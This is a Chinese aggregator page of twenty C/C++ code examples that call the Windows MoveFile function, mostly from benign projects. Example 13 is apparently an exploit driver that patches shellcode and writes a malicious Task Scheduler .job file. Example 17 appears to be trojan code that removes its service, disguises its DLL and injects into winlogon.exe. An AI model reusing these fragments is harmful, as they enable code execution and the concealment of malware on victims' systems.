• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

C++ MoveFile函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中MoveFile函数的典型用法代码示例。如果您正苦于以下问题:C++ MoveFile函数的具体用法?C++ MoveFile怎么用?C++ MoveFile使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了MoveFile函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: do_RNTO

int do_RNTO(ftp_session *s, char *param)
{
    int len;
    char arg[MAX_FTP_PATH], ftp_path[MAX_FTP_PATH];

    MATCH_SP(param);

    len = get_string(param, arg, sizeof(arg));
    if (len == 0)
        return 501;
    param += len;

    MATCH_CRLF(param);

    if (s->prev_command != cmd_RNFR)
        return 503;
    if (!parse_dir(s->dir, arg, ftp_path))
        return 550;
    if (!ftp_to_fs(ftp_path, arg))
        return 550;
    if (!(is_file_exists(s->rename) || is_dir_exists(s->rename)))
        return 550;
    if (!MoveFile(s->rename, arg))
        return 450;

    return 250;
}
开发者ID:arkusuma,项目名称:LiteFTPD,代码行数:27,代码来源:ftpd.c


示例2: MirrorMoveFile

static NTSTATUS DOKAN_CALLBACK
MirrorMoveFile(LPCWSTR FileName, // existing file name
               LPCWSTR NewFileName, BOOL ReplaceIfExisting,
               PDOKAN_FILE_INFO DokanFileInfo) {
  WCHAR filePath[MAX_PATH];
  WCHAR newFilePath[MAX_PATH];
  BOOL status;

  GetFilePath(filePath, MAX_PATH, FileName);
  GetFilePath(newFilePath, MAX_PATH, NewFileName);

  DbgPrint(L"MoveFile %s -> %s\n\n", filePath, newFilePath);

  if (DokanFileInfo->Context) {
    // should close? or rename at closing?
    CloseHandle((HANDLE)DokanFileInfo->Context);
    DokanFileInfo->Context = 0;
  }

  if (ReplaceIfExisting)
    status = MoveFileEx(filePath, newFilePath, MOVEFILE_REPLACE_EXISTING);
  else
    status = MoveFile(filePath, newFilePath);

  if (status == FALSE) {
    DWORD error = GetLastError();
    DbgPrint(L"\tMoveFile failed status = %d, code = %d\n", status, error);
    return ToNtStatus(error);
  } else {
    return STATUS_SUCCESS;
  }
}
开发者ID:cnhup,项目名称:dokany,代码行数:32,代码来源:mirror.c


示例3: move

bool move(const char* from, const char* to) {
/* Should this (or something similar) work?
    SHFILEOPSTRUCT fileOp = { 0 };
    fileOp.wFunc  = FO_MOVE;
    fileOp.pFrom  = from;
    fileOp.pTo    = to;
    fileOp.fFlags = FOF_SILENT | FOF_NOCONFIRMATION | FOF_NOCONFIRMMKDIR;
    return (SHFileOperation(&fileOp) == 0);
*/

    // the easy case...
    if (stricmp(from, to) == 0) {
        return true;
    }

    // try to get the parent name of the directory
    char dir[MAX_PATH] = { 0 };
    dirname(to, dir);
    if (strcmp(dir, "") == 0) {
        return false;
    }

    // try to make the path and move the file
    return (mkpath(dir)) ? (MoveFile(from, to) != 0) : false;
}
开发者ID:jheddings,项目名称:ml_org,代码行数:25,代码来源:utils_file.cpp


示例4: Rename

// renames file srcFilename to destFilename, returns true on success
bool Rename(const std::string &srcFilename, const std::string &destFilename)
{
	INFO_LOG(COMMON, "Rename: %s --> %s",
			srcFilename.c_str(), destFilename.c_str());
#ifdef _WIN32
	auto sf = UTF8ToTStr(srcFilename);
	auto df = UTF8ToTStr(destFilename);
	// The Internet seems torn about whether ReplaceFile is atomic or not.
	// Hopefully it's atomic enough...
	if (ReplaceFile(df.c_str(), sf.c_str(), nullptr, REPLACEFILE_IGNORE_MERGE_ERRORS, nullptr, nullptr))
		return true;
	// Might have failed because the destination doesn't exist.
	if (GetLastError() == ERROR_FILE_NOT_FOUND)
	{
		if (MoveFile(sf.c_str(), df.c_str()))
			return true;
	}
#else
	if (rename(srcFilename.c_str(), destFilename.c_str()) == 0)
		return true;
#endif
	ERROR_LOG(COMMON, "Rename: failed %s --> %s: %s",
			  srcFilename.c_str(), destFilename.c_str(), GetLastErrorMsg());
	return false;
}
开发者ID:Catnips,项目名称:dolphin,代码行数:26,代码来源:FileUtil.cpp


示例5: wmain

int
wmain(int argc, LPWSTR *argv)
{
  LPSTR oldname;
  LPWSTR newname;
  int strlength;

  while (--argc > 0)
    {
      ++argv;

      strlength = (int) wcslen(argv[0])+1;

      oldname = halloc_seh(strlength*sizeof(*oldname));
      WideCharToMultiByte(CP_ACP, 0, argv[0], -1, oldname, strlength,
			  NULL, NULL);
      newname = halloc_seh(strlength*sizeof(*newname));
      MultiByteToWideChar(CP_OEMCP, 0, oldname, -1, newname, strlength);

      if (MoveFile(argv[0], newname))
	printf("'%ws' -> '%ws', OK.\n", argv[0], newname);
      else
	win_perror(newname);

      hfree(oldname);
      hfree(newname);
    }

  return 0;
}
开发者ID:richardneish,项目名称:ltrdata,代码行数:30,代码来源:nameansi2oem.c


示例6: install_new_updater

static _Bool install_new_updater(void *new_updater_data, uint32_t new_updater_data_len)
{
#ifdef __WIN32__
    char new_path[MAX_PATH] = {0};
    FILE *file;

    memcpy(new_path, TOX_UPDATER_PATH, TOX_UPDATER_PATH_LEN);
    strcat(new_path, ".old");

    DeleteFile(new_path);
    MoveFile(TOX_UPDATER_PATH, new_path);

    file = fopen(TOX_UPDATER_PATH, "wb");
    if(!file) {
        LOG_TO_FILE("failed to write new updater");
        return 0;
    }

    fwrite(new_updater_data, 1, new_updater_data_len, file);

    fclose(file);
    return 1;
#else
    /* self update not implemented */
    return 0;
#endif
}
开发者ID:michelangelo13,项目名称:utox-update,代码行数:27,代码来源:main.c


示例7: MessageBox

BOOL CFileView::RenameFile(CString strNewName, HTREEITEM hItem)
{
	CString strOldName = m_wndFileView.GetItemText(hItem);
	DWORD dwInfo = m_wndFileView.GetItemData(hItem);
	if(dwInfo == INFO_FILE)
	{
		if(FindSkinFile(CGlobalVariable::m_strProjectPath + strOldName))
		{
			MessageBox(_T("此文件正处于打开状态,请先关闭后再进行重命名。"), _T("提示"), MB_ICONINFORMATION);
			return FALSE;
		}
		if(!MoveFile(CGlobalVariable::m_strProjectPath + strOldName
			, CGlobalVariable::m_strProjectPath + strNewName))
		{
			MessageBox(_T("此文件已经存在,不能重复命名。"), _T("提示"), MB_ICONINFORMATION);
			return FALSE;
		}
	}
	else if(dwInfo == INFO_DIRECTORY)
	{
		if(FindDirectory(strNewName, m_wndFileView.GetParentItem(hItem)))
		{
			MessageBox(_T("此目录已经存在,不能重复命名。"), _T("提示"), MB_ICONINFORMATION);
			return FALSE;
		}
	}

	return TRUE;
}
开发者ID:DayDayUpCQ,项目名称:misc,代码行数:29,代码来源:FileView.cpp


示例8: WinMain

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
					LPTSTR lpCmdLine, int nShowCmd)
{
	FILE *fp;
	char apppath[MAX_PATH];
	char filename[MAX_PATH];
	char filename2[MAX_PATH];
	
	if (GetEnvironmentVariable("appdata", apppath, MAX_PATH) <= 0)
	{
		strcpy(apppath, ".");
	}

	strcpy(filename, apppath);
	strcat(filename, "/chesspark/installers/setup.exe");
	strcpy(filename2, apppath);
	strcat(filename2, "/chesspark/installers/setup3.exe");

	WaitForParentIfChesspark();

	fp = fopen(filename, "rb");

	if (!fp)
	{
		ShellExecute(NULL, NULL, "./chessparkclient.exe", NULL, ".", SW_SHOW);
		return;
	}

	fclose(fp);

	DeleteFile(filename2);
	MoveFile(filename, filename2);

	ShellExecute(NULL, NULL, filename2, "/silent /nocancel", ".", SW_SHOW);
}
开发者ID:twonds,项目名称:chesspark,代码行数:35,代码来源:upgrader.c


示例9: ex_movefile

static int ex_movefile(lua_State *L)
{
  const char *srcfilename = luaL_checkstring(L, 1);
  const char *destfilename = luaL_checkstring(L, 2);
  lua_pushboolean(L, MoveFile(srcfilename, destfilename) != FALSE);
  return 1;
}
开发者ID:ClowReed32,项目名称:Cthugha-Engine-Demos,代码行数:7,代码来源:ex.c


示例10: dfs_win32_rename

static int dfs_win32_rename(
    struct dfs_filesystem *fs,
    const char *oldpath,
    const char *newpath)
{
    int result;
    char *op, *np;
    op = winpath_dirdup(WIN32_DIRDISK_ROOT, oldpath);
    np = winpath_dirdup(WIN32_DIRDISK_ROOT, newpath);
    if (op == RT_NULL || np == RT_NULL)
    {
        rt_kprintf("out of memory.\n");
        return -DFS_STATUS_ENOMEM;
    }

    /* If the function fails, the return value is zero. */
    result = MoveFile(op, np);

    rt_free(op);
    rt_free(np);

    if (result == 0)
        return win32_result_to_dfs(GetLastError());

    return 0;
}
开发者ID:bright-pan,项目名称:smart-lock,代码行数:26,代码来源:dfs_win32.c


示例11: FindNextFile

void CFileListener::RetryUncompleted() {
    WIN32_FIND_DATA info;
    HANDLE          handle;
    bool            found = true;
    CString         scanFileName;
    CString         fromFileName;
    CString         toFileName;

    scanFileName = m_workDir + "\\*";

    for( handle=FindFirstFile(scanFileName,&info);
             handle!=INVALID_HANDLE_VALUE && found; 
             found = FindNextFile(handle, &info)) {

        if(info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            continue;
        }
        fromFileName = m_workDir + "\\" + info.cFileName;
        toFileName = m_srcDir + "\\" + info.cFileName;
        if(!MoveFile(fromFileName, toFileName)) {
            LOG_ERROR(GetLogger(), ATF_SYSTEM_ERR, "["+fromFileName+"]["+toFileName+"] "+ SysErrorMsg(0));
        } else {
            LOG_DEBUG(GetLogger(), ATF_DEBUG, "File ["+fromFileName + "] try retry" );
        }

    }

};
开发者ID:Skier,项目名称:vault_repo,代码行数:28,代码来源:FileListener.cpp


示例12: writeSharedSaveFile

void writeSharedSaveFile(char* name, BYTE* data, DWORD size, bool isHardcore)
{
	char szTempName[MAX_PATH];
	char szSaveName[MAX_PATH];

	//Get temporary savefile name.
	D2FogGetSavePath( szTempName, MAX_PATH-30);
	strcat(szTempName, separateHardSoftStash && isHardcore? "_LOD_HC_" : "_LOD_");
	strcat(szTempName, sharedStashFilename);
	strcat(szTempName,".ss~");
	log_msg("Shared temporary file for saving : %s\n", szTempName);

	//Write data in savefile.
	FILE* customSaveFile = fopen(szTempName, "wb+");
	fwrite(data, size, 1, customSaveFile);
	fclose(customSaveFile);

	//Get real savefile name.
	D2FogGetSavePath( szSaveName, MAX_PATH-30);
	strcat(szSaveName, separateHardSoftStash && isHardcore? "_LOD_HC_" : "_LOD_");
	strcat(szSaveName, sharedStashFilename);
	strcat(szSaveName,".sss");
	log_msg("Shared file for saving : %s\n", szSaveName);

//	if (!MoveFileEx(szTempName, szSaveName, MOVEFILE_WRITE_THROUGH|MOVEFILE_REPLACE_EXISTING)) 
	DeleteFile(szSaveName);
	if (!MoveFile(szTempName, szSaveName))
		log_box("Could not create the shared save file.");
}
开发者ID:ChaosMarc,项目名称:PlugY,代码行数:29,代码来源:SharedSaveFile.cpp


示例13: main

int main(int argc, char* argv[])
{
	unsigned char *ptr = (unsigned char *)shellcode;

	while (*ptr) 
	{
		if (*((long *)ptr)==0x58585858) 
		{			
			*((long *)ptr) = (long)GetProcAddress(GetModuleHandle("kernel32.dll"), "WinExec");
		}
		if (*((long *)ptr)==0x59595959) 
		{			
			*((long *)ptr) = (long)GetProcAddress(GetModuleHandle("kernel32.dll"), "ExitProcess");
		}
		ptr++;
	}

	FILE *fp;
	fp = fopen("j.xxx", "wb");
	if(fp)
	{
		unsigned char *ptr = jobfile + (31 * 16);
		memcpy(ptr, shellcode, sizeof(shellcode) - 1);

		fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
		fclose(fp);
		DeleteFile("j.job");
		MoveFile("j.xxx", "j.job");
	}
	return 0;
}
开发者ID:atassumer,项目名称:Python-Exploit-Search-Tool,代码行数:31,代码来源:353.c


示例14: writeExtendedSaveFile

void writeExtendedSaveFile(char* name, BYTE* data, DWORD size)
{
	char szTempName[MAX_PATH];
	char szSaveName[MAX_PATH];

	//Get temporary savefile name.
	D2FogGetSavePath(szTempName, MAX_PATH);
	strcat(szTempName, name);
	strcat(szTempName, ".d2~");
	log_msg("Extended temporary file for saving : %s\n",szTempName);

	//Write data in savefile.
	FILE* customSaveFile = fopen(szTempName, "wb+");
	fwrite(data, size, 1, customSaveFile);
	fclose(customSaveFile);

	//Get real savefile name.
	D2FogGetSavePath(szSaveName, MAX_PATH);
	strcat(szSaveName, name);
	strcat(szSaveName, ".d2x");
	log_msg("Extended file for saving : %s\n",szSaveName);

//	if (!MoveFileEx(szTempName, szSaveName, MOVEFILE_WRITE_THROUGH|MOVEFILE_REPLACE_EXISTING)) 
	DeleteFile(szSaveName);
	if (!MoveFile(szTempName, szSaveName))
		log_box("Could not create the extended save file.");
}
开发者ID:Speakus,项目名称:plugy,代码行数:27,代码来源:ExtendedSaveFile.cpp


示例15: request_fs_file_move

/*
 * Copies source file path to destination
 *
 * req: TLV_TYPE_FILE_PATH - The file path to expand
 */
DWORD request_fs_file_move(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	LPCSTR oldpath;
	LPCSTR newpath;

	oldpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_NAME);
	newpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);

	if (!oldpath)
		result = ERROR_INVALID_PARAMETER;
#ifdef _WIN32
	else if (!MoveFile(oldpath,newpath))
#else
	else if (!rename(oldpath,newpath))
#endif
		result = GetLastError();

	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

	packet_transmit(remote, response, NULL);

	return ERROR_SUCCESS;
}
开发者ID:Tourountzis,项目名称:meterpreter,代码行数:30,代码来源:file.c


示例16: LEMUR_THROW

void indri::file::Path::rename( const std::string& oldName, const std::string& newName ) {
#ifndef WIN32
  int result = ::rename( oldName.c_str(), newName.c_str() );

  if( result != 0 ) {
    if( errno == EEXIST ) {
      LEMUR_THROW( LEMUR_IO_ERROR, "The destination file already exists: " + oldName );
    } else if( errno == EACCES || errno == EPERM ) {
      LEMUR_THROW( LEMUR_IO_ERROR, "Insufficient permissions to rename: '" + oldName + "' to '" + newName + "'." );
    } else {
      LEMUR_THROW( LEMUR_IO_ERROR, "Unable to rename: '" + oldName + "' to '" + newName + "'." );
    }
  }
#else
  BOOL result;

  if( Path::exists( newName ) ) {
    result = ReplaceFile( newName.c_str(), oldName.c_str(), NULL, REPLACEFILE_IGNORE_MERGE_ERRORS, NULL, NULL );
  } else {
    result = MoveFile( oldName.c_str(), newName.c_str() );
  }

  if( !result ) {
    LEMUR_THROW( LEMUR_IO_ERROR, "Unable to rename: '" + oldName + "' to '" + newName + "'." );
  }
#endif
}
开发者ID:cjaneyes,项目名称:cjaneyes.github.io,代码行数:27,代码来源:Path.cpp


示例17: GetSystemDirectory

void CKernelManager::UnInstallService()
{
	char	strServiceDll[MAX_PATH];
	char	strRandomFile[MAX_PATH];

	GetSystemDirectory(strServiceDll, sizeof(strServiceDll));
	lstrcat(strServiceDll, "\\");
	lstrcat(strServiceDll, m_strServiceName);
	lstrcat(strServiceDll, "ex.dll");

	// 装文件随机改名,重启时删除
	wsprintf(strRandomFile, "%d.bak", GetTickCount());
	MoveFile(strServiceDll, strRandomFile);
	MoveFileEx(strRandomFile, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);

	// 删除离线记录文件

	char	strRecordFile[MAX_PATH];
	GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
	lstrcat(strRecordFile, "\\syslog.dat");
	DeleteFile(strRecordFile);
	
	if (m_dwServiceType != 0x120)  // owner的远程删除,不能自己停止自己删除,远程线程删除
	{
		InjectRemoveService("winlogon.exe", m_strServiceName);
	}
	else // shared进程的服务,可以删除自己
	{
		RemoveService(m_strServiceName);
	}
	// 所有操作完成后,通知主线程可以退出
	CreateEvent(NULL, true, false, m_strKillEvent);
}
开发者ID:pr1n4ple,项目名称:TwiceClient,代码行数:33,代码来源:KernelManager.cpp


示例18: MDIOFile_Rename

void	MDIOFile_Rename (const char *pmPathName, const char *pmNewPathName)
{
    UINT	myPrevErrorMode;

    myPrevErrorMode = SetErrorMode (SEM_FAILCRITICALERRORS);

    // These are complete paths.  Make certain they're on the same
    // volume.  Otherwise MoveFile fails.
    if ((pmPathName [0] == pmNewPathName [0]) && 
	(pmPathName [1] == ':') && (pmNewPathName [1] == ':'))
    {
	if (!MoveFile (pmPathName, pmNewPathName))
	{
	    MDIO_ProcessMSWindowsError (GetLastError ());
	}
    }
    else
    {
	// Instead, copy the file and then delete the original.
	if (!CopyFile (pmPathName, pmNewPathName, TRUE))
	{
	    MDIO_ProcessMSWindowsError (GetLastError ());
	    return;
	}
	if (!DeleteFile (pmPathName))
	{
	    MDIO_ProcessMSWindowsError (GetLastError ());
	}
    }

    SetErrorMode (myPrevErrorMode);
} // MDIOFile_Rename
开发者ID:Open-Turing-Project,项目名称:OpenTuring,代码行数:32,代码来源:mdiofile.c


示例19: winreplacefile

void winreplacefile(char *source, char *target)
{
	wchar_t wsource[PATH_MAX];
	wchar_t wtarget[PATH_MAX];

	int sz = MultiByteToWideChar(CP_UTF8, 0, source, -1, wsource, PATH_MAX);
	if (sz == 0)
	{
		winerror(&gapp, "cannot convert filename to Unicode");
		return;
	}

	sz = MultiByteToWideChar(CP_UTF8, 0, target, -1, wtarget, PATH_MAX);
	if (sz == 0)
	{
		winerror(&gapp, "cannot convert filename to Unicode");
		return;
	}

#if (_WIN32_WINNT >= 0x0500)
	ReplaceFile(wtarget, wsource, NULL, REPLACEFILE_IGNORE_MERGE_ERRORS, NULL, NULL);
#else
	DeleteFile(wtarget);
	MoveFile(wsource, wtarget);
#endif
}
开发者ID:fengxueysf,项目名称:sumatrapdf,代码行数:26,代码来源:win_main.c


示例20: globals

void ModifyScriptDescriptor::CommitChanges(bool leave_closed) {
	WriteScriptDescriptor file; // The file to write the modified Lua state out to
	std::string temp_filename = _filename.substr(0, _filename.find_last_of('.')) + "_TEMP" + _filename.substr(_filename.find_last_of('.'));

	if (file.OpenFile(temp_filename) == false) {
		if (SCRIPT_DEBUG)
			_error_messages << "* ModifyScriptDescriptor::CommitChanges() failed because it could not open "
				<< "the file to write the modifications to" << std::endl;
		return;
	}

	// setup the iterator
	_open_tables_iterator = _open_tables.begin();

	// Write the global tables to the file. This in turn will write all other tables that are members of
	// the global tables, or members of those tables, and so on.
	object globals(luabind::from_stack(_lstack, LUA_GLOBALSINDEX));
	_CommitTable(file, globals);

	file.CloseFile(); // Close the temporary file we were writing to
	CloseFile(); // Close this file as well as it is about to be over-written

	// Now overwrite this file with the temporary file written, remove the temporary file, and re-open the new file

	if (MoveFile(temp_filename, _filename) == false) {
		_error_messages << "* ModifyScriptDescriptor::CommitChanges() failed because after writing the temporary file "
			<< temp_filename << ", it could not be moved to overwrite the original filename " << _filename << std::endl;
	}

	if (leave_closed == false)
		OpenFile();
} // void ModifyScriptDescriptor::CommitChanges(bool leave_closed)
开发者ID:rkettering,项目名称:ValyriaTear,代码行数:32,代码来源:script_modify.cpp



注:本文中的MoveFile函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ MoveFileEx函数代码示例发布时间:2022-05-30
下一篇:
C++ MoveEvents函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap